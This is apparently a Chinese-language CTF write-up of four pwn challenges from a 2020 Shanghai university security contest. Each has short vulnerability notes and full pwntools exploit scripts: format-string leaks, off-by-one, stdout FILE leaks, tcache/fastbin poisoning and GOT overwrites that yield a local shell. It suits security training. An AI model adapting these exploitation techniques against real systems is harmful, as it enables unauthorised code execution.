2020第六届上海市大学生网络安全大赛pwn wp

2020年全国大学生网络安全邀请赛暨第六届上海市大学生网络安全大赛




体验一般,前三道2道原题一道常规题,cpu_emulator还挺有意思

EASY_ABNORMAL

​ 湖湘杯2020原题,修改了提示字符而已,漏洞点在于格式化字符串和c++一个异常的处理,完全可以直接调出来,在后面函数输入非法的程序就会被劫持。

​ glibc2.23

exp

from pwn import*
context.log_level = 'debug'
context.update(arch='amd64',os='linux',timeout=1)
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg = [0x45226,0x4527a,0xf0364,0xf1207]
def pr(a,addr):
	log.success(a+'===>'+hex(addr))

def show_name():
	p.sendlineafter("CHOICE :",'1')

def add(content='a'):
	p.sendlineafter("CHOICE :",'2')
	p.sendlineafter("cnt:\n",content)

def delete(index):
	p.sendlineafter("CHOICE :",'3')
	p.sendlineafter("idx:",str(index))
	
def show_note():
	p.sendlineafter("CHOICE :",'4')
def gift(content):
	p.sendlineafter("CHOICE :",'23333')
	p.sendlineafter("INPUT:",content)

p.sendlineafter('NAME: ','%11$p')
show_name()
#gdb.attach(p)
p.recvuntil('INFO:')
leak = int(p.recvuntil('\n')[:-1],16) -240
libcbase = leak - libc.sym['__libc_start_main']
one = libcbase + ogg[0]
pr('libcbase',libcbase)
pr('one',one)
add('a'*0x10+p64(0x1)+p64(one))
add('a')
delete(0)
delete(1)
show_note()
p.recvuntil("2:")
heap_addr=u64(p.recv(6).ljust(8,'\x00'))+0x18
pr('heap_povit',heap_addr)
gift("a"*0x20+p64(heap_addr+8)+"a")

p.interactive()

lgtwo

glibc2.23

打stdout泄露libc

off-by-one

from pwn import*
#context.log_level = 'debug'
context.update(arch='amd64',timeout=0.2,os='linux')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg = [0x45226,0x4527a,0xf0364,0xf1207]
def pr(a,addr):
	log.success(a+'===>'+hex(addr))

def add(size,content='\x00'):
	p.sendlineafter('>> ','1')
	p.sendlineafter('size?\n',str(size))
	p.sendafter('content?\n',content)

def delete(index):
	p.sendlineafter('>> ','2')
	p.sendlineafter('index ?\n',str(index))

def edit(index,content):
	p.sendlineafter('>> ','4')
	p.sendlineafter('?',str(index))
	p.sendafter('content ?\n',content)
def pwn():
	add(0x18)# 0
	add(0x10)# 1
	add(0x60)# 2
	add(0x50)# 3
	add(0x10)# 4
	edit(0,'\x00'*0x18+'\xf1')
	delete(1)
	delete(2)
	add(0x18) #1
	add(0xc0) #2
	edit(2,'\xdd\x25')
	edit(1,'\x00'*0x18+'\x71')

	add(0x60) #5
	add(0x60) #6
	edit(6,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
	leak = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
	libcbase = leak - (0x7ffff7dd2600-0x7ffff7a0d000)
	malloc_hook = libcbase + libc.sym['__malloc_hook']
	libc_realloc = libcbase + libc.sym['__libc_realloc']
	one = libcbase + ogg[1]
	pr('leak',leak)
	pr('libcbase',libcbase)
	pr('malloc_hook',malloc_hook)
	pr('one',one)
	pr('__libc_realloc',libc_realloc)
	pause()
	delete(2)
	edit(5,p64(malloc_hook-35))
	add(0x60)#2
	add(0x60)#7
	edit(7,'\x00'*11+p64(one)+p64(libc_realloc+11))
	p.sendlineafter('>> ','1')
	#gdb.attach(p,'b *'+str(libc_realloc+11))
	p.sendlineafter('size?\n','16')
	p.interactive()
while True:
	try:
		p = process('./pwn')
		pwn()
		break
	except:
		print 'trying...'
	

maj0rone

ciscn2020初赛原题

c++

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch="amd64",os='linux',timeout=1)
#context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(sz):
	io.sendlineafter(">> ",'1')
	io.sendlineafter("question\n\n",'80')
	io.sendlineafter("?\n",str(sz))
	io.sendlineafter("no?\n",'yes')

def dele(idx):
	io.sendlineafter(">> ",'2')
	io.sendlineafter("index ?\n",str(idx))
	
def edit(idx,ct):
	io.sendlineafter(">> ",'4')
	io.sendlineafter("index ?\n",str(idx))
	io.sendafter("__new_content ?\n",ct)
	
def pwn():
	add(0x90)#0
	add(0x60)#1
	add(0x20)#2
	dele(0)
	dele(1)
	add(0x10)#3_addr=0_addr
	edit(0,"a"*0x10+p64(0)+p64(0xf1))
	add(0x70)#4
	edit(1,p16(0x2620-0x43))
	add(0x60)#5
	add(0x60)#6 stdout
	edit(6,"\x00"*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
	libc_leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
	log.success("libc_leak==>"+hex(libc_leak))
	malloc_hook=libc_leak+libc.sym['__malloc_hook']
	#0x45226 0x4527a 0xf0364 0xf1207
	one_gadget=libc_leak+0xf1207
	log.success("malloc_hook==>"+hex(malloc_hook))
	add(0x60)#7
	dele(7)
	edit(7,p64(malloc_hook-0x23))
	add(0x60)#8
	add(0x60)#9
	edit(9,'\x00'*0x13+p64(one_gadget))
	io.sendlineafter(">> ",'1')
	io.sendlineafter("question\n\n",'80')
	io.sendlineafter("?\n",'144')
	#pause()
	io.interactive()
if __name__=='__main__':
	while True:
		try:
			io=process('./pwn')
			pwn()
		except:
			print 'trying'
			io.close()

cpu_emulator

​ 感觉是4道里最有趣的一道了,模拟了cpu的工作,32个寄存器,每个寄存器32位,指令长度也是32位,指令是分段的,且有两种解析方式,漏洞在第一种解析方式。前期逆向需要做好大量工作,理解工作原理之后其实漏洞也相对好找。

​ glibc2.27

​ 保护开的不多,got表可写,pie也没开。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qkGO3jWa-1606359542217)(.\cpu_emulator1.png)]

关键漏洞在于第一种解析方式 case 0x2b的地方,可以造成一个堆上的任意写

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6T8Uunit-1606359542220)(.\cpu_emulator2.png)]

通过一次写造成size变化就可以控制别的堆块,利用tchace的特性可以把堆块申请到任意地址,这里我们去修改got表。

got修改顺序:

  • 先修改free_got为printf_plt(这里需要申请堆块到free_got-0x8的位置,因为malloc会把p->fd清零,这里会把puts_got表也给修改所以要做一个偏移),防止free导致的程序终止。
  • 再修改atoi_got为printf_got,这样就可以造出一个格式化字符串漏洞,泄露libcbase。
  • 再次修改atoi_got为system或者onegadget,getshell。

exp:

from pwn import*
context.log_level = 'debug'
p = process('./emulator')
elf = ELF('./emulator')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg = [0x4f3d5,0x4f432,0x10a41c]
free_got = elf.got['free'] #0x602018
atoi_got = elf.got['atoi'] #0x602058
printf_plt = elf.plt['printf']
exit_got = elf.got['exit'] #0x602060

def pr(a,addr):
	log.success(a+'====>'+hex(addr))

def setInstruction(size,content):
	p.sendlineafter('>> ','1')
	p.sendlineafter('size:\n',str(size))
	p.sendafter('instruction:\n',content)

def setInstruction2(size,content):
	p.sendafter('>> ','1')
	p.sendlineafter('size:\n','%'+str(size)+'c')
	p.sendafter('instruction:\n',content)

def getOrder1(a1,a2,a3,a4):
	result = (a1<<26) + (a2<<21) + (a3<<16) + a4 
	return p32(result)

def run():
	p.sendlineafter('>> ','2')

setInstruction(0x100,'\x00')
setInstruction(0x20,'\x00')
setInstruction(0x30,'\x00')
setInstruction(0x40,'\x00')

payload1 = getOrder1(8,0,0,0xf1) + getOrder1(8,0,0,0xe0) + getOrder1(8,1,1,0x8+1) + getOrder1(0x2b,1,0,0xffff)+getOrder1(1,0,0,0)
setInstruction(0x100,payload1)
run()

payload2 = '\x00'*0x100  
payload2 += p64(0)+p64(0xa1)+p64(free_got-8).ljust(0x20,'\x00')
payload2 += p64(0)+p64(0xb1)+p64(atoi_got).ljust(0x30,'\x00')
payload2 += p64(0)+p64(0xc1)+p64(atoi_got).ljust(0x40,'\x00')
setInstruction(0x1c0,payload2)
run()

setInstruction(0x20,'\x00')
setInstruction(0x30,'\x00')
setInstruction(0x40,'\x00')

setInstruction(0x20,p64(printf_plt)*2)
setInstruction(0x30,p64(printf_plt))
p.sendlineafter('>> ','%15$p')
leak = int(p.recvuntil('\n')[:-1],16) - 231
libcbase = leak - libc.sym['__libc_start_main']
one = libcbase + ogg[0]
system_addr = libcbase + libc.sym['system']
pr('libcbase',libcbase)
pr('one',one)
pr('system_addr',system_addr)

setInstruction2(0x40,p64(system_addr))
p.sendlineafter('>> ','sh')
#gdb.attach(p,'b *0x04010CF')

p.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值